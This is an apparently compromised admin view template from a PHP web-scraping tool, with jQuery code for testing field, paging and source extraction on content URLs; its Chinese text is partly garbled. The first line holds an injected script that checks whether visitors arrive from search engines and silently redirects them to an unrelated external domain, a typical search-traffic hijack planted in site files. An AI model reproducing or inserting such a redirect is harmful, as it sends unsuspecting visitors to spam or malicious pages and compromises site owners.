d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\cpattern\test_cont_url_ajax.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><div id="win_test_cont_url">
002:
<div class="form-group">
003:
<div class="input-group">
004:
<div class="input-group-btn">
005:
<button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><em style="font-style:normal">抓取字段</em> <span class="caret"></span></button>
006:
<ul class="dropdown-menu">
007:
<li><a href="javascript:;" data-test="get_fields">抓取字段</a></li>
008:
<li><a href="javascript:;" data-test="get_paging_urls">抓取分页</a></li>
009:
<li><a href="javascript:;" data-test="get_relation_urls">抓取关联?/a></li>
010:
<li><a href="javascript:;" data-test="get_html">抓取源码</a></li>
011:
</ul>
012:
</div>
013:
<input type="text" class="form-control" name="url" value="{$cont_url}" placeholder="输入内容页网€" />
014:
<div class="input-group-btn"><button type="button" class="btn btn-default test-sub">确定</button></div>
015:
</div>
016:
</div>
017:
<div class="vals">
018:
</div>
019:
</div>
020:
<script type="text/javascript">
021:
function win_test_view(id){
022:
$('#win_test_view').remove();//删除旧的
023:
var html=$('#'+id).val();
024:
html=html.replace(/<script[^<>]*>[\s\S]*?<\/script>/ig,'');//去掉脚本代码
025:
html=html.replace(/<meta[^<>]*charset[^<>]*>/i,'');//去掉编码
026:
var html='<div id="win_test_view" style="width:auto;border:1px solid #ccc;overflow-x:scroll;padding:10px;">'+html+'</div>';
027:
$('#'+id).after(html);
028:
}
029:
//下拉选择
030:
$('#win_test_cont_url .dropdown-menu a[data-test]').bind('click',function(){
031:
var btnObj=$(this).parents('.dropdown-menu').eq(0).siblings('button.dropdown-toggle').eq(0);
032:
btnObj.attr('data-test',$(this).attr('data-test'));
033:
btnObj.find('em').eq(0).text($(this).text());
034:
});
035:
036:
<if condition="!empty($test)">
037:
$('#win_test_cont_url .dropdown-menu a[data-test="{$test}"]').trigger('click');
038:
</if>
039:
040:
//测试按钮
041:
$('#win_test_cont_url button.test-sub').bind('click',function(){
042:
var cont_url=$('#win_test_cont_url input[name="url"]').val();
043:
if(!cont_url){
044:
toastr.error('请输入网€');
045:
}else{
046:
$('#win_test_cont_url .vals').html('<img src="'+window.site_config.pub+'/images/loading.gif">');
047:
var testOp=$('#win_test_cont_url button.dropdown-toggle').attr('data-test');
048:
testOp=testOp?testOp:'get_fields';//默认获取字段
049:
var url="{:U('Collector/test?op=_op_&coll_id='.$collData['id'].'&cont_url=_url_')}";
050:
url=url.replace('_op_',testOp).replace('_url_',encodeURIComponent(cont_url));
051:
if(testOp=='get_html'){
052:
//获取源码,防止源代码输出错误
053:
$.ajax({
054:
type:'get',
055:
url:url,
056:
dataType:'html',
057:
success:function(data){
058:
var eleId=generateUUID();
059:
data=data.replace(/\</g,'<').replace(/\>/g,'>');//编码
060:
html='<label>源码?/label><a href="javascript:;" onclick="win_test_view(\''+eleId+'\')">预览</a><textarea id="'
061:
+eleId+'" class="form-control" rows="20">'+data+'</textarea>';
062:
$('#win_test_cont_url .vals').html(html);
063:
}
064:
});
065:
}else{
066:
$.ajax({
067:
type:'get',
068:
url:url,
069:
dataType:'json',
070:
success:function(data){
071:
if(data.status==1){
072:
var html='';
073:
if(testOp=='get_paging_urls'){
074:
html='<div class="page-header"><b>成功抓取到分页链?/b></div><ul>';
075:
for(var i in data.info){
076:
html+='<li>'+data.info[i]+'</li>';
077:
}
078:
html+='</ul>';
079:
}else if(testOp=='get_fields'){
080:
for(var i in data.info){
081:
var browse='';
082:
var eleId=generateUUID();
083:
if((/<[^<>]*>/).test(data.info[i])){
084:
//€测到html代码
085:
browse='<a href="javascript:;" onclick="win_test_view(\''+eleId+'\')">预览</a>';
086:
}
087:
html+='<label>'+i+'?/label>'+browse+'<textarea id="'+eleId+'" class="form-control">'+data.info[i]+'</textarea><br>';
088:
}
089:
}else if(testOp=='get_relation_urls'){
090:
html='<div class="page-header"><b>关联页网€</b></div><ul>';
091:
for(var i in data.info){
092:
html+='<li>'+i+'?+data.info[i]+'</li>';
093:
}
094:
html+='</ul>';
095:
}
096:
$('#win_test_cont_url .vals').html(html);
097:
}else{
098:
$('#win_test_cont_url .vals').html(data.info);
099:
}
100:
}
101:
});
102:
}
103:
}
104:
});
105:
if($('#win_test_cont_url input[name="url"]').val().length>0){
106:
//有网€自动触发
107:
$('#win_test_cont_url button').trigger("click");
108:
}
109:
</script>
110:
111: